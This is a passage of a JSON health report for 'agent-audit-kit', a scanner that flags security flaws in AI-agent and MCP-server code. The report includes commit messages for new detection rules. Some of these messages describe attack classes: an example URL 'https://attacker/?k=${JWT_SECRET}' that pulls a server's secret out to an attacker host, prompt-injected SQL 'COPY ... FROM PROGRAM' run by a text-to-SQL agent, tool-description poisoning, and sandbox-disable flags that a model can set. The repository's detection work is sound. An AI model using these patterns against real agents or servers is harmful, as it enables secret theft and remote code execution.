          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-06-24T07:53:42Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "9d2068a4f87cd413eeb37e6ca9faed70a8de8bea",
          "body": "The rule count is computed from len(RULES) and asserted equal across every\ncurrent-state surface by tests/test_rule_count_sync.py::test_rule_count_is_canonical:\nREADME badge + total-anchors, action.yml description, __init__.RULE_COUNT, the\nsigned rules.json bundle, the pyproject description, and pre\n[…]\n; this consolidates the cross-surface guarantee under the named\ntest and extends it to docs + pyproject. Version 0.3.40 -> 0.3.41.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: enforce one canonical rule count across README/pyproject/CLI (#352)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-23T10:25:58Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "64fe696e151b4c990bcd335d0cea4d04debdb12a",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-06-22T10:16:41Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "92327058dc88b48238d23299d71f837204f2265a",
          "body": "…4.0 (#322)\n\nBumps [sigstore/gh-action-sigstore-python](https://github.com/sigstore/gh-action-sigstore-python) from 3.3.0 to 3.4.0.\n- [Release notes](https://github.com/sigstore/gh-action-sigstore-python/releases)\n- [Changelog](https://github.com/sigstore/gh-action-sigstore-python/blob/main/CHANGELO\n[…]\nirect:production\n  update-type: version-update:semver-minor\n...\n\nSigned-off-by: dependabot[bot] <support@github.com>\nCo-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>",
          "is_bot": true,
          "headline": "chore(deps): Bump sigstore/gh-action-sigstore-python from 3.3.0 to 3.…",
          "author_name": "dependabot[bot]",
          "author_login": "dependabot[bot]",
          "committed_at": "2026-06-21T17:20:09Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "fe90edf2f4ca45f2daf56f2e766200070aed94ae",
          "body": "Bumps [actions/checkout](https://github.com/actions/checkout) from 6.0.3 to 7.0.0.\n- [Release notes](https://github.com/actions/checkout/releases)\n- [Commits](https://github.com/actions/checkout/compare/v6.0.3...v7)\n\n---\nupdated-dependencies:\n- dependency-name: actions/checkout\n  dependency-version:\n[…]\nirect:production\n  update-type: version-update:semver-major\n...\n\nSigned-off-by: dependabot[bot] <support@github.com>\nCo-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>",
          "is_bot": true,
          "headline": "chore(deps): Bump actions/checkout from 6.0.3 to 7.0.0 (#338)",
          "author_name": "dependabot[bot]",
          "author_login": "dependabot[bot]",
          "committed_at": "2026-06-21T17:20:04Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "aa588d74efc42243d02f253e45a922f1e3aeb4a0",
          "body": "…(#339)\n\nPublication-ready data report from a content-deduped scan of 571 distinct\npublic .mcp.json configs (crawled via GitHub Code Search, scanned with the\nlive engine, v0.3.34). Headline: 26% ship a critical issue, 51% ship a\nhigh-severity one. Includes method, honesty caveats, the exploitable-vs\n[…]\nnd launch copy.\n\nbenchmarks/results-2026-06-13.json is the deduped per-config + aggregate\ndata backing every figure in the report.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: add State of MCP Security 2026 data report + backing scan data …",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T17:20:00Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "84d4270eaf28effd036a98c751df69282307bb5e",
          "body": "…il-open MCP auth (CVE-2026-48814) (#346)\n\nNew HIGH rule + scanner (scanners/mcp_noauth_default.py) for MCP servers that\nship an auth check that does not actually enforce — distinct from\nAAK-MCP-HTTP-NOAUTH-SERVER-001 (no auth configured at all). Three arms:\n(a) an is_authorized/verify_token-style f\n[…]\n0.0.0 config/source FLAGS; non-empty secret +\nloopback PASSES. Rule count 224 -> 225; scanners 78 -> 79; version 0.3.39 ->\n0.3.40.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): AAK-MCP-NOAUTH-DEFAULT — unauthenticated-by-default / fa…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T17:03:22Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "4da6df7ae8361556503556e1e2741a5b637fcdfc",
          "body": "…-2026-49257, CVE-2026-48989) (#345)\n\nExtends AAK-MCP-HTTP-NOAUTH-SERVER-001 (the existing unauthenticated-HTTP-MCP\nrule) with two named 2026 instances of the exact 0.0.0.0 / no-auth /\nwildcard-CORS class it already detects, rather than adding a duplicate rule:\n\n- CVE-2026-49257: mcp-pinot <= 3.0.1 \n[…]\n No detection-engine\nchange — the source + config arms already fire on both. Rule count unchanged\n(224); version 0.3.38 -> 0.3.39.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): AAK-MCP rule for unauthenticated HTTP MCP transport (CVE…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T16:13:02Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "3029a67eaa91176cf74cc734d6662d7c94651368",
          "body": "…st approval (CVE-2026-53822) (#344)\n\nNew HIGH rule + scanner (scanners/argv_toctou.py) for the command-injection\nTOCTOU where a command/argv buffer is approved against an allow/deny list and\nthen reassigned, re-split (shlex.split/.split()), re-joined, concatenated, or\n.extend()/.push()-ed before be\n[…]\n[], and security-severity. No self-FP across the repo.\n\nRule count 223 -> 224; scanner modules 77 -> 78; version 0.3.37 -> 0.3.38.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-MCP-ARGV-TOCTOU-001 — argv rebuilt after allowli…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T15:14:27Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "c6705cd7f8823a21ba983c9bce8ca97128357f6d",
          "body": "…h in skill/install flows (CVE-2026-53819) (#343)\n\nNew HIGH rule + scanner (scanners/skill_untrusted_exec_path.py) for CWE-426\nUntrusted Search Path in agent skill/install flows: install code that resolves\nan executable, interpreter, or build tool from a workspace-controlled source and\nruns it witho\n[…]\ng. No self-FP across the repo (no ignore-path needed).\n\nRule count 222 -> 223; scanner modules 76 -> 77; version 0.3.36 -> 0.3.37.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-SKILL-UNTRUSTED-EXEC-PATH — untrusted search pat…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T15:00:40Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "78c97d77515ab1cd6e6dc0fb7287b8b21ecfc5c9",
          "body": "…ace (CVE-2026-23744) (#342)\n\nAnti-duplicate check (G9): rg -i \"0.0.0.0|bind|CWE-306|unauthenticated\" over\nagent_audit_kit/rules/ matched the pre-existing AAK-MCP-HTTP-NOAUTH-SERVER-001\n(0.0.0.0 + no-auth, source-only). Per G9 the new config/Docker/inspector\npatterns were ADDED to that rule + scanne\n[…]\n both self-scan.yml jobs' ignore-paths,\nmatching the mcp_env_placeholder_exfil / llm_sql_rce precedent.\n\nVersion 0.3.35 -> 0.3.36.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): extend AAK-MCP-HTTP-NOAUTH-SERVER-001 to the launch surf…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T14:48:41Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "ffaa9130d5234c30021626bf000a5d0ee4dd7ee3",
          "body": "…le DB role (CVE-2026-25879) (#340)\n\nNew CRITICAL rule + scanner (scanners/llm_sql_rce.py) for the text-to-SQL\nagent RCE class: an agent feeds model-generated SQL into a DB executor whose\nconnection role holds code-execution / filesystem privileges, so a\nprompt-injected COPY ... FROM PROGRAM (Postgr\n[…]\n-paths (matching mcp_env_placeholder_exfil\nprecedent).\n\nRule count 221 -> 222; scanner modules 75 -> 76; version 0.3.34 -> 0.3.35.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-LLM-SQL-RCE-001 — LLM-generated SQL on RCE-capab…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-21T14:24:27Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "725782983a8500af81808127aafc82cf7df4c143",
          "body": "…ublic ledger (#321)\n\n* docs: correct stale rule/scanner/version counts; reframe CVE SLA as public ledger\n\nAligns all human-facing docs to the live registry (221 rules, 75 scanners,\nv0.3.34, MIT, 12 frameworks) and replaces the public \"48h CVE-to-rule SLA\"\npromise with an honest \"public CVE-to-rule \n[…]\nons for the same self-referential-pattern reason.\n\nCo-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>\n\n---------\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: fix stale rule/scanner/version counts; reframe 48h CVE-SLA as p…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-13T17:40:52Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "83e8d0ebd972308d6d33f7335a2c2f8e89b1b6a7",
          "body": "Bumps [actions/checkout](https://github.com/actions/checkout) from 6.0.2 to 6.0.3.\n- [Release notes](https://github.com/actions/checkout/releases)\n- [Commits](https://github.com/actions/checkout/compare/v6.0.2...v6.0.3)\n\n---\nupdated-dependencies:\n- dependency-name: actions/checkout\n  dependency-vers\n[…]\nirect:production\n  update-type: version-update:semver-patch\n...\n\nSigned-off-by: dependabot[bot] <support@github.com>\nCo-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>",
          "is_bot": true,
          "headline": "chore(deps): Bump actions/checkout from 6.0.2 to 6.0.3 (#305)",
          "author_name": "dependabot[bot]",
          "author_login": "dependabot[bot]",
          "committed_at": "2026-06-13T14:04:50Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d759f52b5743fe179d5ba1f75cb0bc6ca014473f",
          "body": "…backlog (#319)\n\nNew HIGH rule + scanner (scanners/mcp_http_noauth_server.py): a repo that\npublishes an MCP server over HTTP/SSE/Streamable-HTTP with no inbound auth\nwhile binding 0.0.0.0/:: or serving wildcard CORS — a mutation-capable,\ntoken-backed endpoint reachable without credentials. Also dete\n[…]\n for the full per-CVE disposition.\n\nRule count 220->221; scanners 74->75. Version 0.3.33->0.3.34.\npytest 1176 / ruff / mypy green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-MCP-HTTP-NOAUTH-SERVER-001 + clear CVE-response …",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-13T13:51:56Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "d774624eb3bdff18f76c9c8bbefccdd24df09de1",
          "body": "…#318)\n\nDetects an MCP server that resolves ${VAR}/$VAR placeholders against its own\nprocess environment (process.env, os.path.expandvars, format(**os.environ))\nwhile handling a user-supplied server config/URL. A user submitting\nhttps://attacker/?k=${JWT_SECRET} makes the server interpolate its own \n[…]\n Secret-Exposure 17->18; ASI03 51->52.\nVersion 0.3.32->0.3.33. pytest 1168 / ruff / mypy green.\n\nRefs: CVE-2026-32625, closes #300\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-MCP-ENV-PLACEHOLDER-EXFIL-001 (CVE-2026-32625) (…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-13T13:37:16Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "21c1ec95971bf4eeb7534c85d921d429c43e8dd7",
          "body": null,
          "is_bot": false,
          "headline": "chore(rule-count): auto-sync after rules.json change",
          "author_name": "agent-audit-kit-bot",
          "author_login": null,
          "committed_at": "2026-06-13T13:22:34Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "11147b32c758450663525785bfa6c94c69ebff72",
          "body": "Config/code-level detector for an MCP server that gates tools by an allowlist\n/ read-only / non-destructive control applied in the tools/list discovery\nhandler but NOT in the tools/call execution handler. A client that calls a\nhidden tool name directly bypasses the gate.\n\nCVE-2026-46519: mcp-server-\n[…]\n. Counts/coverage/version pins synced via\nthe repo generators. pytest 1160 / ruff / mypy green.\n\nRefs: CVE-2026-46519, closes #311\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-MCP-TOOLGATE-ASYMMETRY-001 (CVE-2026-46519) (#317)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-13T13:22:24Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "79ec30878e996b172db12c0ddfa0728d7a779278",
          "body": "…osures (#310)\n\nAudit of the existing CrewAI four-CVE chain (CVE-2026-2275/2285/2286/2287,\nCERT/CC VU#221883) against NVD + an evasion pass on crewai_rce_chain.py. No new\nrule IDs — corrects and hardens existing coverage (request G8: extend, not\nduplicate; the three requested sub-checks were already\n[…]\nplain-import + 2 FP\nguards). Bundle regenerated (2286/2287 now critical). Version 0.3.30->0.3.31.\npytest 1152 / ruff / mypy green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix(rules): CrewAI chain NVD severity reconciliation + evasion-gap cl…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-11T16:26:51Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "92ebd161d2b57aaec1247f3833d52080a266b3bb",
          "body": "…ass) (#309)\n\nConfig-level detector for MCP stdio server definitions (command + args in a\nmcpServers/servers block) that either launch a shell-style interpreter\n(npx/node/bash/sh/python) with a code-exec flag (-c/-e/--eval), or pass a\nnon-pinned interpolation token (${...} embedded, {{...}}, %s) in \n[…]\nSI05 31->32. Version 0.3.29->0.3.30. Counts/coverage/version pins synced via\nthe repo generators. pytest 1145 / ruff / mypy green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-MCP-STDIO-LAUNCHER-INJECT-001 (CVE-2026-40933 cl…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-11T16:03:23Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "db49e665a23128fad42ab19f70eb8446aaa94a4d",
          "body": "…) (#308)\n\nFlags tool/function/MCP descriptors that expose a mutating op\n(delete/remove/edit/update/overwrite/move) on a file/record/resource reachable\nin a shared or multi-agent context, when the input schema has no per-actor\nauthorization field (owner/actor/authorization/permission/on_behalf_of/..\n[…]\nSI04 35->36. Version 0.3.28->0.3.29. Counts/coverage/version pins synced via\nthe repo generators. pytest 1133 / ruff / mypy green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-AGENT-SHARED-RES-AUTHZ-001 (CVE-2026-44654 class…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-09T17:22:47Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "95514973f7ddd288fb0ef276c837c3f52a006335",
          "body": "…s) (#306)\n\nFlags tool/function JSON schemas and MCP tool descriptors that expose a\nparameter whose name disables/weakens sandboxing (dangerouslyDisableSandbox,\ndisable_sandbox, no_sandbox, allow_unsafe, skip_isolation) inside the\nmodel-facing `properties` — a flag the LLM (untrusted principal) can \n[…]\n.py, sync_scanner_count.py, sync_repo_metadata.py,\ngen_owasp_coverage.py, build_coverage_page.py. pytest 1123 / ruff / mypy green.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): add AAK-MCP-SANDBOX-SELFDISABLE-001 (CVE-2026-42074 clas…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-08T17:59:23Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "2ed41127f93aea514a1958b61b450dbfe7c8b445",
          "body": "Audit of the nsa-mcp-csi-2026 mapping (added in PR #294) found rules that\nplainly evidence an existing CSI recommendation but were never cited — and\nthree (incl. AAK-MCP-STATELESS-002) carry no OWASP-Agentic ASI tag, so the\nalso_covers_asi fan-out could never reach them.\n\nAdds 17 rules across 8 of t\n[…]\n decision. NSA test suite 25 -> 43; full suite green.\n\nNo new rule/framework, no version bump — enriches an existing mapping only.\n\nCo-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix(compliance): close NSA MCP CSI coverage gaps (17 rules) (#304)",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-06T11:00:44Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "47d08e8508c023de77d41a3a7f6f53df7a1615ca",
          "body": "… (#303)\n\nCloses a language-parity gap in the TS/JS pattern scanner\n(agent_audit_kit/scanners/typescript_pattern_scan.py): it now flags raw /\ninterpolated SQL execution sinks under the existing AAK-TAINT-005 rule\n(\"Tool parameter flows to SQL query\"). The Python taint engine\n(cursor/connection/sessi\n[…]\n at 1088 BEFORE the new tests — no existing TS fixture\nnewly fires (false-positive regression guard). No version bump, no release.\n\nCo-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): extend AAK-TAINT-005 SQL-sink detection to TypeScript/JS…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-05T08:15:15Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "21019182e28c5e444f7f7f12b4da910bb0ec4e27",
          "body": "…#299)\n\nExtends the tool-poisoning scanner to feed the existing AAK-POISON-001..006\ndetectors with every per-parameter description under a tool's input schema,\nnot just the tool's top-level description and schema-level\ninputSchema.description.\n\n_extract_tool_descriptions now recursively walks\ninputS\n[…]\nest 1088 passed (+5), ruff check clean, mypy clean (129 files).\nNo version bump, no release (consistent with #287/#288/#294/#295).\n\nCo-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat(rules): scan per-parameter descriptions for MCP tool-poisoning (…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-06-03T04:20:30Z",
          "body_truncated": true,
          "is_coding_agent": true
        }
      ],
      "releases_count": 44,
      "commits_last_year": 234,
      "latest_release_at": "2026-08-02T09:43:46Z",
      "latest_release_tag": "v0.3.66",
      "releases_from_tags": false,
      "days_since_last_push": 0,
      "active_weeks_last_year": 16,
      "days_since_latest_release": 0,
      "mean_days_between_releases": 1.3
    },
    "community": {
      "has_readme": true,
      "has_license": true,
      "has_description": true,
      "has_contributing": true,
      "health_percentage": 100,
      "has_issue_template": false,
      "has_code_of_conduct": true,
      "has_pull_request_template": true
    },
    "ecosystem": {
      "packages": [
        {
          "name": "agent-audit-kit",
          "exists": true,
          "license": "MIT",
          "keywords": [
            "ai-agents",
            "claude-code",
            "mcp",
            "scanner",
            "security",
            "Development Status :: 3 - Alpha",
            "Intended Audience :: Developers",
            "License :: OSI Approved :: MIT License",
            "Programming Language :: Python :: 3",
            "Programming Language :: Python :: 3.10",
            "Programming Language :: Python :: 3.11",
            "Programming Language :: Python :: 3.12",
            "Programming Language :: Python :: 3.13",
            "Programming Language :: Python :: 3.9",
            "Topic :: Security",
            "Topic :: Software Development :: Quality Assurance"
          ],
          "ecosystem": "pypi",
          "matches_repo": true,
          "registry_url": "https://pypi.org/project/agent-audit-kit/",
          "is_deprecated": false,
          "latest_version": "0.3.66",
          "repository_url": "https://github.com/sattyamjjain/agent-audit-kit",
          "versions_count": 44,
          "total_downloads": null,
          "dependents_count": null,
          "deprecation_note": null,
          "maintainers_count": null,
          "monthly_downloads": 2808,
          "first_published_at": "2026-04-05T18:12:06.570706Z",
          "latest_published_at": "2026-08-02T09:41:55.975529Z",
          "latest_version_yanked": null,
          "days_since_latest_publish": 0
        }
      ]
    },
    "popularity": {
      "forks": 0,
      "stars": 13,
      "watchers": 0,
      "fork_history": {
        "days": [],
        "complete": true,
        "collected": 0,
        "total_forks": 0
      },
      "star_history": null,
      "open_issues_and_prs": 7
    },
    "ai_readiness": {
      "has_nix": false,
      "example_dirs": [
        "examples"
      ],
      "has_llms_txt": false,
      "has_dockerfile": true,
      "has_mcp_signal": true,
      "bootstrap_files": [
        "Makefile"
      ],
      "api_schema_files": [],
      "has_devcontainer": false,
      "typecheck_configs": [
        "vscode-extension/tsconfig.json"
      ],
      "toolchain_manifests": [
        "tests/fixtures/cves/dns-rebind-sdk-class/java-patched/pom.xml",
        "tests/fixtures/cves/dns-rebind-sdk-class/java-vulnerable/pom.xml"
      ],
      "largest_source_bytes": 300830,
      "source_files_sampled": 418,
      "oversized_source_files": 2,
      "agent_instruction_files": [
        "CLAUDE.md",
        "vscode-extension/CLAUDE.md"
      ],
      "agent_instruction_max_bytes": 7188
    },
    "dependencies": {
      "manifests": [
        "pyproject.toml",
        "requirements-lock.txt",
        "vscode-extension/package.json"
      ],
      "advisories": {
        "error": null,
        "scope": null,
        "source": null,
        "findings": [],
        "collected": false,
        "malicious": [],
        "truncated": false,
        "by_severity": {},
        "advisory_count": 0,
        "affected_count": 0,
        "assessed_count": 0,
        "malicious_count": 0,
        "assessed_package": null,
        "unassessed_count": 0,
        "direct_affected_count": 0
      },
      "ecosystems": [
        "npm",
        "pypi"
      ],
      "dependencies": [
        {
          "name": "click",
          "manifest": "pyproject.toml",
          "ecosystem": "pypi",
          "version_constraint": ">=8.1"
        },
        {
          "name": "pyyaml",
          "manifest": "pyproject.toml",
          "ecosystem": "pypi",
          "version_constraint": ">=6.0"
        },
        {
          "name": "tomli",
          "manifest": "pyproject.toml",
          "ecosystem": "pypi",
          "version_constraint": ">=2.0"
        }
      ],
      "all_dependencies": {
        "error": "GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository",
        "source": null,
        "packages": [],
        "collected": false,
        "truncated": false,
        "total_count": null,
        "direct_count": null,
        "indirect_count": null
      }
    },
    "maintainership": {
      "issues": {
        "open_prs": 1,
        "merged_prs": 108,
        "open_issues": 6,
        "closed_ratio": 0.985,
        "closed_issues": 396,
        "closed_unmerged_prs": 14
      },
      "bus_factor": 1,
      "bot_contributors": 1,
      "top_contributors": [
        {
          "type": "User",
          "login": "sattyamjjain",
          "commits": 133,
          "avatar_url": "https://avatars.githubusercontent.com/u/37297369?v=4"
        },
        {
          "type": "User",
          "login": "sattyamj-attri",
          "commits": 40,
          "avatar_url": "https://avatars.githubusercontent.com/u/190467526?v=4"
        },
        {
          "type": "User",
          "login": "aak-bot",
          "commits": 35,
          "avatar_url": "https://avatars.githubusercontent.com/u/214275967?v=4"
        }
      ],
      "contributors_sampled": 3,
      "top_contributor_share": 0.639
    },
    "quality_signals": {
      "has_ci": true,
      "has_tests": true,
      "ci_workflows": [
        "badge-ox-coverage.yml",
        "ci.yml",
        "codeql.yml",
        "coverage-page.yml",
        "cve-watcher.yml",
        "docker-nightly.yml",
        "mcp-security-index.yml",
        "release.yml",
        "scorecard.yml",
        "self-scan.yml",
        "sync-repo-metadata.yml",
        "sync-rule-count.yml"
      ],
      "has_docs_dir": true,
      "linter_configs": [],
      "has_editorconfig": true,
      "has_linter_config": true,
      "has_precommit_config": true
    },
    "security_signals": {
      "lockfiles": [],
      "scorecard": null,
      "has_codeql_workflow": true,
      "has_security_policy": true,
      "has_dependabot_config": true
    },
    "contribution_flow": {
      "collected": true,
      "ci_last_run_at": "2026-08-02T09:42:58Z",
      "oldest_open_prs": [
        {
          "number": 522,
          "created_at": "2026-08-01T06:16:27Z",
          "last_comment_at": null,
          "last_comment_author": null
        }
      ],
      "last_merged_pr_at": "2026-08-01T06:07:35Z",
      "ci_last_conclusion": "SUCCESS",
      "oldest_open_issues": [
        {
          "number": 22,
          "created_at": "2026-04-18T09:19:34Z",
          "last_comment_at": null,
          "last_comment_author": null
        },
        {
          "number": 68,
          "created_at": "2026-04-25T16:07:01Z",
          "last_comment_at": null,
          "last_comment_author": null
        },
        {
          "number": 160,
          "created_at": "2026-05-05T07:16:02Z",
          "last_comment_at": null,
          "last_comment_author": null
        },
        {
          "number": 161,
          "created_at": "2026-05-05T07:16:04Z",
          "last_comment_at": null,
          "last_comment_author": null
        },
        {
          "number": 162,
          "created_at": "2026-05-05T07:16:06Z",
          "last_comment_at": null,
          "last_comment_author": null
        },
        {
          "number": 267,
          "created_at": "2026-05-18T17:55:21Z",
          "last_comment_at": null,
          "last_comment_author": null
        }
      ]
    }
  },
  "config": {
    "disabled_metrics": [],
    "disabled_categories": [],
    "disabled_components": {}
  },
  "source": {
    "url": "https://github.com/sattyamjjain/agent-audit-kit",
    "host": "github.com",
    "name": "agent-audit-kit",
    "owner": "sattyamjjain"
  },
  "metrics": {
    "overall": {
      "key": "overall",
      "band": "exceptional",
      "name": "Overall health",
      "note": "The weighted overall 80 is calibrated to 94 on the published index scale (record calibration 2026-08-02).",
      "notes": [
        {
          "code": "overall_calibration",
          "params": {
            "raw": 80,
            "calibrated": 94,
            "calibration": "2026-08-02"
          }
        }
      ],
      "value": 94,
      "inputs": {
        "security": 100,
        "vitality": 83,
        "community": 54,
        "governance": 65,
        "calibration": "2026-08-02",
        "engineering": 100,
        "ai_readiness": 87,
        "weighted_overall_raw": 80
      },
      "components": []
    },
    "categories": [
      {
        "key": "vitality",
        "band": "excellent",
        "name": "Vitality",
        "value": 83,
        "weight": 0.21,
        "metrics": [
          {
            "key": "development_activity",
            "band": "good",
            "name": "Development activity",
            "note": null,
            "notes": [],
            "value": 72,
            "inputs": {
              "commits_last_year": 234,
              "human_commit_share": 0.94,
              "days_since_last_push": 0,
              "active_weeks_last_year": 16
            },
            "components": [
              {
                "key": "push_recency",
                "name": "Push recency",
                "detail": "last push 0 days ago",
                "points": 36,
                "status": "met",
                "details": [
                  {
                    "code": "push_recency",
                    "params": {
                      "days": 0
                    }
                  }
                ],
                "max_points": 36
              },
              {
                "key": "commit_cadence",
                "name": "Commit cadence",
                "detail": "16/52 weeks with commits",
                "points": 11.1,
                "status": "partial",
                "details": [
                  {
                    "code": "commit_cadence_weeks",
                    "params": {
                      "weeks": 16
                    }
                  }
                ],
                "max_points": 36
              },
              {
                "key": "commit_volume",
                "name": "Commit volume",
                "detail": "234 commits in the last year",
                "points": 18,
                "status": "met",
                "details": [
                  {
                    "code": "commits_last_year",
                    "params": {
                      "count": 234
                    }
                  }
                ],
                "max_points": 18
              },
              {
                "key": "openssf_scorecard_maintained",
                "name": "OpenSSF Scorecard: Maintained",
                "detail": "OpenSSF Scorecard unavailable",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 10
              }
            ]
          },
          {
            "key": "release_discipline",
            "band": "exceptional",
            "name": "Release discipline",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "releases_count": 44,
              "latest_release_tag": "v0.3.66",
              "releases_from_tags": false,
              "days_since_latest_release": 0,
              "mean_days_between_releases": 1.3
            },
            "components": [
              {
                "key": "ships_releases",
                "name": "Ships releases",
                "detail": "44 releases published",
                "points": 27,
                "status": "met",
                "details": [
                  {
                    "code": "releases_published",
                    "params": {
                      "count": 44
                    }
                  }
                ],
                "max_points": 27
              },
              {
                "key": "release_recency",
                "name": "Release recency",
                "detail": "latest release 0 days ago",
                "points": 36,
                "status": "met",
                "details": [
                  {
                    "code": "release_recency",
                    "params": {
                      "days": 0
                    }
                  }
                ],
                "max_points": 36
              },
              {
                "key": "release_cadence",
                "name": "Release cadence",
                "detail": "a release every ~1.3 days",
                "points": 27,
                "status": "met",
                "details": [
                  {
                    "code": "release_cadence",
                    "params": {
                      "gap": 1.3
                    }
                  }
                ],
                "max_points": 27
              },
              {
                "key": "openssf_scorecard_signed_releases",
                "name": "OpenSSF Scorecard: Signed-Releases",
                "detail": "OpenSSF Scorecard unavailable",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 10
              }
            ]
          },
          {
            "key": "abandonment",
            "band": "exceptional",
            "name": "Abandonment",
            "note": null,
            "notes": [],
            "value": 100,
            "inputs": {
              "cap": null,
              "state": "unverified",
              "guards": [],
              "signals": [],
              "red_flag": false,
              "multiplier_pct": 100,
              "declared_reason": null,
              "unverified_reason": "repository_too_young",
              "unanswered_open_prs": null,
              "unanswered_open_issues": null,
              "days_since_last_merged_pr": null,
              "days_since_last_human_commit": null,
